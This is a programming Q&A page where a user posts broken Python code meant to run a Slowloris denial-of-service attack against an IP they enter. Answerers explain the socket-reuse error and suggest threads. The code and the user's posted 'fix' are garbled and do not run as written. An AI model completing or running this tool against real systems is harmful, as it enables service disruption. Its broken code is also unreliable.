1

I get this error within python socket. My aim is to create a slow lorris attack but I am having problems with getting multi connections to my router within the one program

I want to get the amount of sockets within a list to call

import socket
import time
import os
import random

socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

user_agents = [
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Safari/602.1.50",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393"
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko",
    "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
    "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox/49.0",
]

def clear():
    os.system("cls")

print("Starting...")
print("press enter to start")
agreement = input("")

port = 445
port_s = str(port)
socket.settimeout(4)


list_of_sockets = []

import socket
servers = [] #add servers here
if agreement == "":
    clear()
    print("")


    print("welcome...")
    target = input("ip target>>>")
    print("defult port is " + port_s)
    print("-" * 10 + " START " + "-" * 10)
    print("")
    def connect_to():
        int_nob = int(200)#num of bots
        for x in range(0, int_nob):
            print(int(int_nob))
            int_nob -= 1
            int_nob = socket.connect((target, port))
            int_nob.send("User-Agent: {}\r\n".format(random.choice(user_agents)).encode("utf-8"))
            client = new Client()
            if int_nob == 0:
                print(list_of_sockets)
                print("resending sockets of " + int_nob)
    while True:
        connect_to()
    else:
        print("breaking...")
        exit()

error

Traceback (most recent call last):
  File "C:\Users\townte23\Desktop\slow lorris,.py", line 78, in <module>
    connect_to()
  File "C:\Users\townte23\Desktop\slow lorris,.py", line 71, in connect_to
    a = socket.connect((target, port))
OSError: [WinError 10056] A connect request was made on an already connected socket

I did cannibalize someone elses code but most of it is mine https://github.com/gkbrk/slowloris/blob/master/slowloris.py

I did find a similar issue but it was a server issue so I'm not sure how to approach this error

Edit: found the problem and the solution

int_nob = int(200)
for
     int_nob = socket.connect(())
     int_nob.send(bytes("thing"))
     int_nob -= 1

1 Answer 1

1
socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
...
    def connect_to():
        ...
        for x in range(0, int_nob):
            ...
            a = socket.connect((target, port))
            ...
    while True:
        connect_to()

You cannot do multiple connects with the same socket but you have to create a new socket for each new connection. Apart from that it is very confusing that you call your socket simply socket since this conflicts in name with the module socket you import.

Sign up to request clarification or add additional context in comments.

6 Comments

how would i create a different variable for every socket within a for loop?
@anunexpectedperson: You don't need a different variable. But you need to create a new socket for each connect, i.e. c = socket.socket(....)... c.connect(...)
but how would i implement that into a loop for the connections
@anunexpectedperson you will probably have to create each socket as a separate non blocking threads (each time you run connect_to, generate a new thread). You may end up exceeding the thread limit though... unless you can get the threads closed fast enough and their reference counts to 0
One other issue is that the sockets don't usually become re-useable until the entire python scrip closes.
|

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.